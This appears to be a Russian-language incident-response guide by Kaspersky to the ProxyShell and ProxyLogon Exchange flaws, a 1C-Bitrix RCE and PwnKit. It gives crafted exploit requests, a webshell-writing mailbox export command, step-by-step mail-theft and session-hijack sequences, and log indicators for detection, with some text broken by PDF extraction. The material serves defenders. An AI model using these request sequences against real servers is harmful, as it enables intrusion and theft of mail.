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1. PROXYSHELL цепочка 
уязвимостей

1.1. Обзор
Все перечисленное ниже входит в цепочку уязвимостей 
ProxyShell. Сочетание всех этих уязвимостей позволяет 
выполнить произвольный код (RCE).

Уязвимость CVE-2021-34473

Тип Обход защитных механизмов 

Описание Microsoft Exchange

Манипулирование путями без аутентификации позволяет обойти ACL. 
Посредством уязвимости службы Autodiscover в Microsoft Exchange Server 
злоумышленники могут получить доступ к закрытым ресурсам без аутентификации.

Уязвимость CVE-2021-34523

Тип Повышение привилегий (EoP)

Описание Microsoft Exchange

Microsoft Exchange позволяет злоумышленникам повышать или изменять 
свои привилегии в системе.

Уязвимость CVE-2021-31207

Тип Запись произвольных файлов (AFW) после аутентификации может позволять 
выполнить произвольный код (RCE).

Описание Microsoft Exchange

Позволяет злоумышленнику записывать файлы по определенному пути с 
помощью команды PowerShell. Это может открыть возможность удаленного 
выполнения кода (RCE), например, путем записи содержимого веб-шелла.

Ссылки  https://msrc.microsoft.com/update-guide/
vulnerability/CVE-2021-34473

 https://msrc.microsoft.com/update-guide/
vulnerability/CVE-2021-34523

 https://msrc.microsoft.com/update-guide/
vulnerability/CVE-2021-31207

 https://cve.mitre.org/cgi-bin/cvename.cgi?
name=CVE-2021-34473

 https://cve.mitre.org/cgi-bin/cvename.cgi?
name=CVE-2021-34523

 https://cve.mitre.org/cgi-bin/cvename.cgi?
name=CVE-2021-3120

 https://support.microsoft.com/en-us/topic/
description-of-the-security-update-for-microsoft-
exchange-server-2019-2016-and-2013-april-13-2021-
kb5001779-8e08f3b3-fc7b-466c-bbb7-5d5aa16ef06

 https://peterjson.medium.com/reproducing-the-
proxyshell-pwn2own-exploit-49743a4ea9a1

#kaspersky
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1.2 Сведения об уязвимостях
CVE-2021-34473

Манипулирование путями без аутентификации позволяет обойти ACL. 
Посредством уязвимости службы Autodiscover в Microsoft Exchange Server 
злоумышленники могут получить доступ к закрытым ресурсам без 
аутентификации.


В Microsoft Exchange есть функция явного входа в систему (Explicit Logon), 
благодаря которой пользователь может открыть почтовый ящик или календарь 
другого пользователя в новом окне браузера, используя URL-адрес. Функция 
должна работать только при наличии у пользователя полного доступа и после 
конфигурирования публикации для целевого почтового ящика или календаря. 


Exchange выполняет нормализацию указанного адреса почтового ящика в URL-
адресе для правильной идентификации целевого объекта.


Уязвимость проявляется при передаче строки Autodiscover/Autodiscover.json в 
поле Email в URL-адресе. Если строка поступает в допустимом почтовом 
формате, Exchange не делает в отношении адреса все необходимые проверки, и 
в процессе нормализации это открывает возможность произвольного доступа к 
URL-адресу, контролируемому злоумышленником, от имени учетной записи 
NT_AUTHORITY/SYSTEM.

URL-адрес FE (frontend, 
клиентская часть)

GET /autodiscover/autodiscover.json?@domain.corp/ews/
exchange.asmx?&Email=autodiscover/autodiscover.json%3F@domain.corp

Нормализация FE GET /autodiscover/autodiscover.json?@domain.corp/ews/
exchange.asmx?&Email=autodiscover/autodiscover.json%3F@domain.corp

BE (backend, серверная 
часть)

GET /ews/exchange.asmx..

URL-адрес FE POST /autodiscover/autodiscover.json?@domain.corp/mapi/emsmdb?
&Email=autodiscover/autodiscover.json%3F@domain.corp

Нормализация FE POST /autodiscover/autodiscover.json?@domain.corp/mapi/emsmdb?
&Email=autodiscover/autodiscover.json%3F@domain.corp

BE POST /mapi/emsmdb..

Уязвимость была просканирована в реальной среде с помощью следующего запроса:

https://<exchange_FE_host>/autodiscover/autodiscover.json?
@domain.corp/mapi/nspi?&Email=autodiscover/
autodiscover.json%3F@domain.corp

Получен успешный ответ, подтверждающий доступ и то, что пользователь серверной 
части (BE) действует от имени NT_AUTHORITY\SYSTEM.
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CVE-2021-34523

Повышение привилегий (EoP) — эта уязвимость позволяет злоумышленникам 
повышать или изменять свои привилегии в системе. 


Встроенная в Microsoft Exchange функция выполнения удаленных команд 
(Remoting) Exchange через PowerShell облегчает администрирование системы 
через командную строку и по умолчанию разрешена для пользователей в 
Microsoft Exchange. 


Предыдущий эксплойт позволил злоумышленнику взаимодействовать с 
произвольными URL-адресами серверной части от имени NT_AUTHORITY/
SYSTEM, но по причине отсутствия почтового ящика у этого пользователя 
злоумышленник не может напрямую взаимодействовать с серверной частью 
PowerShell (/Powershell) с таким уровнем привилегий.


PowerShell на стороне сервера проверяет наличие заголовка X-
CommonAccessToken во входящих запросах. Если этот заголовок отсутствует,  
то для получения CommonAccessToken используется другой метод. Этот метод 
проверяет наличие параметра X-Rps-CAT во входящем запросе, и, если такой 
параметр присутствует, он десериализуется в действительный 
CommonAccessToken. 


Если имеется предварительно собранная информация о целевом почтовом 
ящике или стандартная информация из встроенных почтовых ящиков, передача 
корректного значения X-Rps-CAT не составляет труда.


Передав это значение серверной части PowerShell вместе с ранее подошедшим 
маркером доступа, злоумышленник может понизить привилегии с учетной 
записи NT_AUTHORITY/SYSTEM до учетной записи целевого пользователя.  
Для выполнения произвольных команд Exchange PowerShell этот пользователь 
должен обладать правами локального администратора.


В конечном счете благодаря сочетанию уязвимостей CVE-2021-34473 и 
CVE-2021-34523 злоумышленник сможет выполнять произвольные команды 
PowerShell без аутентификации.

Пример (CVE-2021-34473 и CVE-2021-34523)

URL-адрес FE POST /autodiscover/autodiscover.json?a=random@domain.corp/
powershell/?X-Rps-CAT=[Base64 encoded data] &Email=autodiscover/
autodiscover.json%3Fa=random@domain.corp

Нормализация FE
(CVE-2021-34473)

POST /autodiscover/autodiscover.json?a=random@domain.corp/
powershell/?X-Rps-CAT=[Base64 encoded data] &Email=autodiscover/
autodiscover.json%3Fa=random@domain.corp

URL-адрес BE
(от имени NT_AUTHORITY/SYSTEM)

POST /powershell/?X-Rps-CAT=[Base64 encoded data]

URL-адрес BE
(X-Rps-CAT десериализуется в 
действительный маркер 
CommonAccessToken нужного 
пользователя) (CVE-2021-34523)

POST /powershell/
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CVE-2021-31207

Уязвимость записи произвольных файлов после аутентификации (AFW) 
позволяет злоумышленнику записывать файлы по определенному пути с 
помощью команды PowerShell. Это может открыть возможность удаленного 
выполнения кода (RCE), например, путем записи содержимого веб-шелла.


Эта уязвимость позволяет злоумышленнику записывать файлы в заданный 
желаемый путь с любым расширением. Поскольку злоумышленник способен 
выполнять произвольные команды PowerShell без аутентификации 
(CVE-2021-34473 и CVE-2021-34523), если требуемая роль Import Export Mailbox 
назначена учетной записи имперсонируемого пользователя (в противном 
случае ее можно назначить PowerShell-командой New-
ManagementRoleAssignment), то злоумышленник может выполнить команду New-
MailboxExportRequest для экспорта почтового ящика пользователя в заданный 
желаемый путь с последующей записью в контролируемый злоумышленником 
файл.

Пример:

New-MailBoxExportRequest – Mailbox alice.spring@domain.corp 
-FilePath \\127.0.0.1\C$\path\to\webshell.aspx

Целевой путь должен быть доступен, например:

c:/inetpub/wwwroot/aspnet_client/<random>.aspx

Злоумышленник создает электронные письма с закодированными веб-шеллами 
и сохраняет их в виде черновиков (или может доставлять их по SMTP). Затем 
злоумышленник может экспортировать почтовый ящик в файл формата PST с 
расширением веб-файла, например, ASPX (возможность была закрыта в 
исправлении, допускающем только расширения PST, EML или OST), что 
позволяет злоумышленнику распространять функциональный веб-шелл.


Дело в том, что вложения в электронных письмах декодируются при записи в 
формат PST, в котором используется перестановочное кодирование. 
Следовательно, если вложить в письмо предварительно закодированную 
полезную нагрузку, она будет записана в файл уже в декодированном виде. 
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1.3 Примечания для специалиста  
по реагированию на инциденты
Во время первичного реагирования в реальных условиях 
наблюдалось множество способов эксплуатации:

Злоупотребление функциями 
AutoDiscover и EWS для выполнения 
SOAP-действий в почтовых ящиках 
(например, Createitem).

CVE-2021-34473

Манипулирование путями без 
аутентификации позволяет 
обойти контроль списков 
управления доступом (ACL) и 
допускает произвольный 
доступ в качестве SYSTEM

CVE-2021-34523

Повышение привилегий на Exchange 
PowerShell Backend, позволяющее 
выполнение любой удаленной 
командлет PowerShell Exchange в 
контексте целевого пользователя.

CVE-2021-31207

Запись произвольных файлов после 
аутентификации приводит к удаленному 
выполнению кода (RCE), позволяющему 
экспортировать элементы почтового ящика, 
которые могут быть расшифрованы в файл 
веб-шелла (.aspx).

Веб-шелл

Доступ через HTTP

Почта

Доступ через:

 OWA
 Почтовые 

протоколы
 VPN/Прямая 

аутентификация 
домена

Выполнение команды New-
ExchangeCertificate для записи файлов 
веб-шеллов (,aspx.req)

Выполнение команд New-Mailbox, New-
RoleGroupMember и/или Add-
MailboxPermission для создания/
предоставления прав новому/
существующему пользователю.

Изменение конфигурации Exchange, 
например, создание нового виртуального 
каталога, для затруднения обнаружения 
расположения веб-шелла

Поскольку эти уязвимости находятся в службе клиентского доступа Exchange 
(CAS), которая работает через IIS (веб-сервер), то в журналах IIS можно 
увидеть попытки и успешные случаи эксплуатации уязвимостей ProxyShell. 
HTTP-запросы, поступающие на сервер IIS, будут содержать подробные данные, 
включая тип запроса и путь.


Распространенным артефактом, встречающимся в этих журналах при 
злонамеренном использовании точки входа CVE-2021-34473, является наличие в 
пути запроса строки которая призвана 
заставить прокси-сервер Exchange ошибочно удалить неправильную часть из 
URL-адреса.

&Email=autodiscover/autodiscover.json, 

Удаленное выполнение команд PowerShell без аутентификации

Журнал IIS (по умолчанию — в C:\inetpub\logs\LogFiles\)

 Успешные POST-запросы, содержащие строку 

 Успешные POST-запросы, содержащие строки

 Успешные POST-запросы, содержащие строку  (попытка 
обнаружения, зафиксированная в реальности)

 Успешные запросы на созданные вредоносные файлы веб-шелла (обычно с 
именем 

Email=autodiscover/
autodiscover.jso

 /autodiscover/
autodiscover.json и PowerShel

/mapi/nspi/

<имя_веб-шелла>.aspx)

Журнал PowerShell (ведение журналов PowerShell ScriptBlock, расшифровки и 
модулей, если оно включено)

 Выполнение команды 
или 

 Выполнение команды 
 Выполнение команды  или ’  

или ’ 

New-ManagementRoleAssignment 
New-MailboxExportReques

New-ExchangeCertificate
New-Mailbox New-RoleGroupMember

Add-MailboxPermission
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Журнал Exchange (<$env:exchangeinstallpath>\Logging\)

 Файлы \CmdletInfra\Powershell-Proxy\Cmdlet\* с записями, где:
- Cmdlet =  или ,  

или  или   
или 

New-ManagementRoleAssignment New-MailboxExportRequest
New-Mailbox New-RoleGroupMember Add-MailboxPermission

New-ExchangeCertificate

- ProcessName содержит w3wp

- AuthenticatedUser = имя имперсонируемого пользователя почтового ящика.

Примечание. Наличие журнала не зависит от того, включено или нет ведение 
журналов PowerShell ScriptBlock/расшифровки/модулей.

 Файлы аудита \LocalQueue\Exchange\*, где:
- Поле Data содержит данные JSON, где есть значение Operation Key  

с перечислением выполненных команд PowerShell.

Удаленное создание объектов в почтовых ящиках

Журнал Exchange (<$env:exchangeinstallpath>\Logging\)

 Успешно созданные файлы \Ews\* с записями, где:
- SoapAction =   

(хотя могут быть созданы и другие объекты);
CreateItem

- ProcessName содержит w3wp;

- AuthenticatedUser = ;SYSTEM ли системная учетная запись

- HttpStatus = 200 (успех).

Также было замечено, что злоумышленники изменяли конфигурацию Exchange 
(обычно находящуюся в файле 

, добавляя туда 
новые пути виртуальных каталогов, чтобы обфусцировать расположение веб-
шеллов. Эти пути задаются в конфигурации в параметре  
определения virtualDirectory. Все записи для веб-шеллов должны быть удалены,  
а служба IIS перезапущена для перезагрузки конфигурации.

C:\Windows\System32\inetsrv\Config\applicationHost.config

physicalPath

Стандартные события EDR

PowerShell и дочерние cmd-процессы w3wp

Веб-шеллы позволяют выполнять команды и другие подозрительные операции, 
инициируемые из рабочего процесса IIS .


Далее перечисляются сведения о хостах, где powershell.exe или cmd.exe 
являются дочерними процессами w3wp.exe, а также приводятся аргументы 
запущенных процессов с подробной информацией о выполненных командах.

w3wp.exe
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2. PROXYLOGON 
(CVE-2021-26855)

Уязвимость CVE-2021-26855

Тип Подделка запросов со стороны сервера (SSRF) без аутентификации

Ссылки  https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-2685

 https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-26855

CVE-2021-26855 — это уязвимость SSRF, используемая без аутентификации, также 
известна как PROXYLOGON. Оценка риска по системе CVSS v3.0 составляет 9,1/8,4.

 Позволяет не прошедшим аутентификацию злоумышленникам отправлять 
произвольные HTTP-запросы и проходить аутентификацию от имени сервера 
Exchange.

 Сервер Exchange должен иметь возможность принимать ненадежные 
соединения через порт 443

 С помощью этой уязвимости можно эксплуатировать любую 
неаутентифицированную веб-страницу, к примеру панель управления 
Exchange Control Panel (ECP), используя подделку запросов со стороны 
сервера (SSRF).

 Также возможен несанкционированный доступ к почтовым ящикам и 
конфиденциальной информации

 Для эксплуатации уязвимости злоумышленнику достаточно знать IP-адрес или 
полное доменное имя (FQDN) сервера Exchange, а также имя целевой учетной 
записи электронной почты.

2.1 Уязвимое ПО и доступное обновление 
безопасности 
Уязвимость затрагивает все версии Exchange с 2010-й по 2019-ю. 


Важно отметить, что эта уязвимость существует в Microsoft Exchange Server и 
не затрагивает пользователей Microsoft Exchange Online.

Обновления безопасности доступны для следующих версий программного 
обеспечения:

 Exchange Server 2010 (это обновление уровня глубинной защиты и требует 
наличия пакета SP 3 или любого пакета SP 3 RU

 Exchange Server 2013 (обновление требует наличия CU 23
 Exchange Server 2016 (обновление требует наличия CU 19 или CU 18
 Exchange Server 2019 (обновление требует наличия CU 8 или CU 7
 Обновления безопасности для старых накопительных обновлений Exchange 

Server

#kaspersky

https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-26855
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-26855

https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-26855
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-26855
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Чтобы определить, какие обновления нужны для перехода с текущей версии 
CU на версию с последними исправлениями безопасности, используйте это 
руководство:

https://techcommunity.microsoft.com/t5/exchange-team-blog/released-
march-2021-exchange-server-security-updates/ba-p/2175901 

Информация о номерах сборок и датах выпуска Exchange Server:

https://docs.microsoft.com/it-it/exchange/new-features/build-numbers-and-
release-dates?view=exchserver-2019 

Доступно три способа обновления: 

Exchange Server поддерживается 
обновлениями безопасности от 
марта 2021 года:

 Exchange Server 2010 SP 3+
 Exchange Server 2013 CU 2
 Exchange Server 2016 CU 19 / CU 1
 Exchange Server 2019 CU 8 / CU 7

Установка обновлений  
безопасности

Exchange обновлен

Исправления безопасности  
от уязвимостей (март 2021 года)

Exchange обновлен

Исправления безопасности  
от уязвимостей (март 2021 года)

Exchange Server не поддерживается 
обновлениями безопасности от 
марта 2021 года:

Обеспечение поддержки обновлений

Установка последних  
накопительных пакетов 

обновлений

Установка обновлений безопасности

Exchange Server не поддерживается 
обновлениями безопасности от 
марта 2021 года:

Нет возможности обеспечить поддержку 
обновлений

Установка обновления безопасности от марта 2021 
года для более старых накопительных пакетов

Установка последних накопительных 
пакетов обновлений

Exchange не обновлен

Обновлено только для уязвимостей 
безопасности от марта 2021 года

Exchange обновлен

Исправления безопасности  
от уязвимостей (март 2021 года)

2.2 Контекст
Серверы Exchange имеют блочную архитектуру, позволяющую выдерживать 
высокие нагрузки и обеспечивать доступность и взаимодействие различных 
версий серверов. 


Несколько серверов одной версии могут работать в группе обеспечения 
доступности баз данных (DAG) для восстановления после сбоев на уровне баз данных.

Мобильный пользователь

OWA/EAC пользователь

Пользователь Outlook 

Powershell

POP/IMAP

SMTP письма

Звонки

Серверная часть

IIS Remote Power Shell

RPC Proxy RPC CA

EAS, EAC, EWS, OAB, OWA

POP IMAP

Транспорт 
сообщений

Единая система обмена сообщениями

База данных почты

Очередь доставки

POP IMAP

Служба Front End Transport

Телефония

Службы клиентского доступа

IIS HTTP Proxy

#kaspersky

https://techcommunity.microsoft.com/t5/exchange-team-blog/released-march-2021-exchange-server-security-updates/ba-p/2175901
https://techcommunity.microsoft.com/t5/exchange-team-blog/released-march-2021-exchange-server-security-updates/ba-p/2175901
https://docs.microsoft.com/it-it/exchange/new-features/build-numbers-and-release-dates?view=exchserver-2019
https://docs.microsoft.com/it-it/exchange/new-features/build-numbers-and-release-dates?view=exchserver-2019
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Для реализации этих сценариев каждый сервер использует несколько уровней 
протоколов для доступа разных клиентов и обмена данными между серверами. 
Таким образом, внешние клиенты взаимодействуют со службами сервера не 
напрямую, а через внешние API (службы клиентского доступа), такие как Outlook 
Web App (OWA). Из-за этого разделения между серверным и клиентским 
уровнями используется ПРОКСИ-СЕРВЕР, передающий запросы между 
приложением OWA, которое прослушивает порт 443/TCP, и серверной  
частью Exchange, которая привязана к порту 444/TCP. Эту функцию реализует 
библиотека Microsoft.Exchange.FrontEndHttpProxy.dll, работающая как  
модуль IIS.


Уязвимость, связанная с обходом аутентификации, возникает из-за 
необходимости управлять запросами к статическим ресурсам как 
аутентифицированными запросами к серверной части (поскольку такие 
файлы, как скрипты и изображения, должны быть доступны даже без 
аутентификации). Поэтому некоторые URL-запросы клиента (FE) не требуют 
аутентификации, например: "


Этот механизм реализуется с помощью cookie-файла X-BEResource,  
который по умолчанию имеет следующий формат: 

. Затем ПРОКСИ-СЕРВЕР берет   
и  его с , формируя таким способом полный URL-
запрос к серверной части. Поэтому для следующего запроса конечный URL-
адрес, созданный с помощью этих подстановочных операций прокси-сервера, 
будет таким:

/ecp/*.js", "/ecp/favicon.ico", "/ecp/auth.js

X-BEResource=<host/
fqdn>~<server_version> фрагмент с хостом

сцепляет путём запроса

Запрос клиентской части:

URL-адрес FE: со значением
хост/внутреннее_FQDN-имя

<public_FE_fqdn>/ecp/xxx.js  X-
BEResource-Cookie= < >~<server_version>

Искаженный запрос от прокси-сервера FE:

ИСКАЖЕННЫЙ URL-АДРЕС ПРОКСИ: хост/внутреннее_FQDN-имя< >/ecp/
xxx.js

2.3 Сведения об уязвимости
Однако во время конкатенации 

, способные 
видоизменить запрос к серверной части. Злоумышленник может изменить  
его значение, чтобы получить доступ к нестатическим ресурсам или страницам. 

не проверяется, содержит ли параметр 
«хост/внутреннее_FQDN-имя» дополнительные символы

 Пример манипуляции №1

Например, значение cookie можно изменить следующим образом, чтобы 
отправлять аутентифицированные запросы к поставщику EWS BE (API на 
основе SOAP для серверной части):

URL-адрес FE:  со значением 
хост/целевое_fqdn-имя>/EWS 

Exchange.asmx#

<public_FE_fqdn>/ecp/xxx.js X-
BEResource=<

~<версия_сервера>
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РОКСИ-СЕРВЕР отделяет значение cookie символом тильды ( ), чтобы извлечь 
хостовую часть (<хост/целевое_fqdn-имя>/EWS/Exchange.asmx#). Таким 
образом, результирующий URL-адрес будет следующим: 

~

ИСКАЖЕННЫЙ URL-АДРЕС ПРОКСИ: хост/целевое_fqdn-имя>/EWS/
Exchange.asmx#

<
/ecp/xxx.js

Поскольку строка URL-адреса после символа хеша действует как якорь 
HTTP, она не мешает измененному запросу, который в итоге будет 
интерпретироваться как:

# 

ИСКАЖЕННЫЙ URL-АДРЕС ПРОКСИ (как он интерпретируется BE): хост/
целевое_fqdn-имя>/EWS/Exchange.asmx#/ecp/xxx.js   

<

Тогда начальный URL-запрос FE (/ecp/xxx.js) также может быть 
ненастоящим, поскольку он игнорируется BE.

 Пример манипуляции №2

Вместо символа хеша # для достижения того же самого результата можно 
указать ненастоящий параметр ( ) ?a=~

URL-адрес FE:  со значением 
хост/целевое_fqdn-имя>/EWS/Exchange.asmx?

a= )

<общедоступное_fqdn-имя_FE>/ecp/xxx.js X-
BEResource=<

~<версия_сервера>

Это приведет к тому, что ПРОКСИ в итоге сделает следующий запрос BE:

ИСКАЖЕННЫЙ URL-АДРЕС <хост/целевое_fqdn-имя>/EWS/Exchange.asmx
  

?a=/ecp/
xxx.js

При этом ненастоящий параметр будет проигнорирован BE.

ИСКАЖЕННЫЙ URL-АДРЕС ПРОКСИ (как он интерпретируется BE): хост/
целевое_fqdn-имя>/EWS/Exchange.asmx

<
?a=/ecp/xxx.js  

Посредством небезопасной подмены cookie X-BEResource, выполняемой 
ПРОКСИ-СЕРВЕРОМ, злоумышленник может отправлять произвольные 
запросы к поставщикам BE и выполнять такие операции, как чтение 
электронной почты, получение действительного (аутентифицированного) 
сеанса OWA и т. д.


Примечание. Искаженный запрос, сформированный злоумышленником после 
выполнения подстановки, может быть одним из следующих:

 Обратный запрос FE (например, ServerInfo~VRTLEXCLN04/EWS/
Exchange.asmx?a=)

 Прямой запрос BE (например, ServerInfo~Administrator@VRTLEXCLN04:444/
mapi/emsmdb?MailboxId=f26bc937-b7b3-4402-
b890-96c46713e5d5@exchange.lab&a=)

 Запрос к внешнему ресурсу (например, ServerInfo~burpcollaborator.net/ecp/
default.flt? )

 Запрос к любому другому веб-ресурсу, доступному из FE.
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Пошаговая реализация эксплойта для доступа  
к электронной почте

Необходимые входные данные: 

Применяется уязвимость CVE-2021-26855 (исп. искаженная строка  
для формирования запроса EWS/Exchange.asmx?a=).

общедоступное полное доменное имя целевого 
почтового сервера и список целевых адресов электронной почты. 


1. Стандартный запрос к серверной части для получения ВНУТРЕННЕГО 
FQDN-ИМЕНИ ЦЕЛИ. 

Тип: GET

URL-адрес: существующий по умолчанию URL-адрес /owa/
auth.owa (он доступен в любом случае без 
аутентификации)

Результат извлекается из заголовка X-FEServer ответа ( )FQDN

2. Подбор для всех почтовых адресов с тем, чтобы найти 
существующий адрес.  

get_folder_id 

Тип: POST

URL-адрес: /ecp/*.js (любой файл, не требующий 
аутентификации); например: /ecp/
<случайное_значение>.js, /ecp/
favicon.ico, /ecp/auth.js

Cookie: X-BEResource=<FQDN>/EWS/Exchange.asmx?
a=~1942062522

POST XML reqdata: указывается тестовый или уже известный адрес 
электронной почты для получения доступа

Результат действующий адрес электронной почты
content_folderid

 и 
соответствующее значение  (массив 
значений [id_folder, change_key_folder])
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3. Проверка значений  id_folder,change_key_folder

Тип: POST

URL-адрес: /ecp/*.js (любой файл, не требующий 
аутентификации); например: /ecp/
<случайное_значение>.js, /ecp/
favicon.ico, /ecp/auth.js

Cookie: X-BEResource=<FQDN>/EWS/Exchange.asmx?
a=~1942062522

POST XML reqdata: указывается значение content_folderid

Результат существующие реальные сообщения (массив 
значений [id_message,change_key_message])

4. Извлечение писем

Тип: POST

URL-адрес: /ecp/*.js (любой файл, не требующий 
аутентификации); например: /ecp/
<случайное_значение>.js, /ecp/
favicon.ico, /ecp/auth.js

Cookie: X-BEResource=<FQDN>/EWS/Exchange.asmx?
a=~1942062522

POST XML reqdata: указывается значение messages 

Результат содержимое сообщений

Примечание. Возможно значение, отличное от 1942062522. Оно фигурировало в первых 
рабочих эксплойтах (POC) и сохранилось во многих других ветвлениях, основанных на 
этих POC.
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Пошаговая реализация эксплойта для выполнения 
аутентификации

1. Отправить GET-запрос, чтобы организовать утечку значения хоста. 
Поскольку сервер Exchange встраивает его в заголовок, установка значения 
cookie X-BEResource не требуется и URL-адрес может быть любым, не 
требующим аутентификации (например, /ecp/*.js).

2. Использовать уязвимость для отправки на сервер запроса на 
автоматическое обнаружение, чтобы вычислить LegacyDN почтового ящика 
пользователя (autodiscover.xml) — в данном случае Administrator.

3. Использовать уязвимость для отправки запроса конечной точке MAPI, чтобы 
получить SID пользователя (:444/mapi/emsmdb?MailboxId=).

Источник: Keysight →

Источник: Keysight →

Источник: Keysight →

https://www.keysight.com/blogs/tech/nwvs/2021/03/16/a-look-at-the-proxylogon-microsoft-exchange-vulnerability-cve-2021-26855
https://www.keysight.com/blogs/tech/nwvs/2021/03/16/a-look-at-the-proxylogon-microsoft-exchange-vulnerability-cve-2021-26855
https://www.keysight.com/blogs/tech/nwvs/2021/03/16/a-look-at-the-proxylogon-microsoft-exchange-vulnerability-cve-2021-26855
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4. И, наконец, использовать уязвимость для отправки запроса конечной точке /
ecp/proxyLogon.ecp, чтобы получить действительный идентификатор сеанса 
и ExchangeCanary (:444/ecp/proxyLogon.ecp?)

5. С этого момента действительный сеанс может быть использован 
злоумышленниками для эксплуатации других аутентифицированных 
уязвимостей.

2.4 Примечания для специалиста  
по реагированию на инциденты
Попытка эксплуатации уязвимости может быть обнаружена по журналам 
Exchange HttpProxy, обычно находящимся в папке 

.
<$env:путь-к-

установленному-exchange>\Logging\HttpProxy

1. Попытку можно обнаружить путем поиска по записям журнала в 
, где AuthenticatedUser 

имеет пустое значение, а поле AnchorMailbox или BackEndCookie содержит 
шаблон .


В случае успешной попытки ответ будет содержать 
 на другие журналы в 

<$env:путь-
к-установленному-exchange>\Logging\HttpProxy

ServerInfo~*/*

ключевое значение, по 
которому можно ориентироваться идентификаторе 
запроса.

2. Если вредоносная активность будет обнаружена на шаге 1, то на основе 
журналов приложения, указанного в пути AnchorMailbox, можно 
определить, какие действия были предприняты 
( ), используя 
для этого идентификатор вредоносного запроса в качестве ориентира.
<$env:exchangeinstallpath>\Logging\<каталог_приложения>

Компания Microsoft предоставила скрипт для поиска признаков эксплуатации 
ряда уязвимостей, включая CVE-2021-26855: https://github.com/microsoft/
CSS-Exchange/tree/main/Security 


Источник: Keysight →

https://github.com/microsoft/CSS-Exchange/tree/main/Security
https://github.com/microsoft/CSS-Exchange/tree/main/Security
https://www.keysight.com/blogs/tech/nwvs/2021/03/16/a-look-at-the-proxylogon-microsoft-exchange-vulnerability-cve-2021-26855
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3. Другие CVE
3.1 Удаленное выполнение кода в ПО  
«1С-Битрикс: Управление сайтом» 
(CVE-2022-27228)

Уязвимость CVE-2022-27228

Тип Удаленное выполнение кода (RCE)

Описание 1С-Битрикс: Управление сайтом

Уязвимость удаленного выполнения кода. Позволяет злоумышленникам 
выполнить произвольный код без аутентификации в модуле голосования (он 
же «Опросы, голосования») ПО «1С-Битрикс: Управление сайтом».

Наличие уязвимости Согласно бюллетеню https://cloud.yandex.com/en/docs/security/security-
bulletins/#CVE-2022-27228, должна существовать конфигурация сканера 
Nuclei, но, похоже, она отсутствует в общедоступном GitHub-репозитории 
Nuclei.

Как проверить, 
эксплуатировалась ли 
уязвимость и были ли 
попытки ее 
эксплуатации

Согласно бюллетеню https://cloud.yandex.com/en/docs/security/security-
bulletins/#CVE-2022-27228 и POC (ссылки см. ниже), в попытке 
эксплуатации использовалась следующая последовательность URL-адресов:

GET /bitrix/tools/composite_data.php (получение идентификатора 
сеанса Битрикс)POST /bitrix/tools/vote/uf.php (для эксплуатации 
уязвимости)

или

GET /bitrix/tools/composite_data.php (получение идентификатора 
сеанса Битрикс)


POST /bitrix/tools/html_editor_action.php (для эксплуатации 
уязвимости)

Ищите такие записи в журнале Apache/NGINX, чтобы обнаружить попытку 
эксплуатации. Смотрите код ответа для найденных записей, и если он равен 
200, то изучите события файловой системы в районе этого времени на 
временной шкале, построенной с помощью команды:

find / -type f -printf “%T+|%A+|%C+|%U|%u|%G|%g|%i|%M|%p\n” >> fs_timeline

#kaspersky

https://cloud.yandex.com/en/docs/security/security-bulletins/#CVE-2022-27228
https://cloud.yandex.com/en/docs/security/security-bulletins/#CVE-2022-27228
https://cloud.yandex.com/en/docs/security/security-bulletins/#CVE-2022-27228
https://cloud.yandex.com/en/docs/security/security-bulletins/#CVE-2022-27228
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Ссылки Ссылки

 https://helpdesk.bitrix24.com/open/15536776/

 https://bdu.fstec.ru/vul/2022-0114

 https://cloud.yandex.com/en/docs/security/security-bulletins/#CVE-2022-27228

POC

 https://github.com/56567853/bitrix (корневая ветка)

 https://github.com/trump88/CVE-2022-27228 (альтернативная ветка)

 https://github.com/JackPot777/bitrix (альтернативная ветка)

#kaspersky

3.2 Локальная эскалация привилегий 
(LPE) в утилите Pkexec из пакета Polkit 
(CVE-2021-4034)

Уязвимость CVE-2021-4034

Тип Локальная эскалация привилегий (LPE)

Описание Утилита Pkexec из Polkit

Уязвимость локального повышения привилегий в утилите pkexec, входящей в 
состав Polkit в операционных системах на базе Unix. Позволяет любому 
пользователю получить права root на уязвимом хосте и выполнить 
произвольный код. Эксплойт для уязвимости Polkit (CVE-2021-4034) был 
опубликован 25 января и получил название PwnKit.

Актуальные моменты:
 Утилита pkexec установлена по умолчанию во всех основных дистрибутивах Linux (Ubuntu, Debian, 

Fedora, CentOS; другие дистрибутивы, возможно, тоже уязвимы); Polkit также работает в 
операционных системах, отличных от Linux, например Solaris и *BSD, но возможность их 
эксплуатации не исследовалась

 pkexec уязвима с момента своего создания в мае 2009 года (коммит c8c3d83, «Add a pkexec(1) 
command»)

 – Любой непривилегированный локальный пользователь может использовать эту уязвимость для 
получения полных root-привилегий.

Как проверить наличие 
уязвимостей

Если pkexec не переданы никакие аргументы, происходит выход за 
границы предполагаемого буфера памяти (memory-out-of-bounds), 
и программа устанавливает для своей первой переменной ENV заданное 
злоумышленником значение. 

Это позволяет ввести «небезопасную» переменную среды в среду pkexec. 
Эти «небезопасные» переменные обычно удаляются (с помощью ld.so) из 
среды SUID-программ до вызова функции main(), поскольку они могут 
привести к выполнению кода произвольных библиотек.

https://helpdesk.bitrix24.com/open/15536776/ 
https://bdu.fstec.ru/vul/2022-01141
https://cloud.yandex.com/en/docs/security/security-bulletins/#CVE-2022-27228

https://helpdesk.bitrix24.com/open/15536776/ 
https://bdu.fstec.ru/vul/2022-01141
https://cloud.yandex.com/en/docs/security/security-bulletins/#CVE-2022-27228

https://helpdesk.bitrix24.com/open/15536776/ 
https://bdu.fstec.ru/vul/2022-01141
https://cloud.yandex.com/en/docs/security/security-bulletins/#CVE-2022-27228

https://github.com/56567853/bitrix
https://github.com/trump88/CVE-2022-27228
https://github.com/JackPot777/bitrix
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Как проверить наличие 
уязвимостей

В этом случае GCONV_PATH, одна из «небезопасных» переменных среды, 
изменяется посредством уязвимости, а затем будет использоваться 
функцией библиотеки glibc iconv_open(), вызываемой из функции g_printerr() 
в исходном коде pkexec, если значение другой переменной среды, CHARSET, 
не равно UTF-8 (прим.: CHARSET не подвержена угрозам безопасности и не 
является «небезопасной» переменной среды).


Для преобразования сообщений из одной кодировки в другую функция 
iconv_open() использует небольшие общие библиотеки; обычно эти тройки 
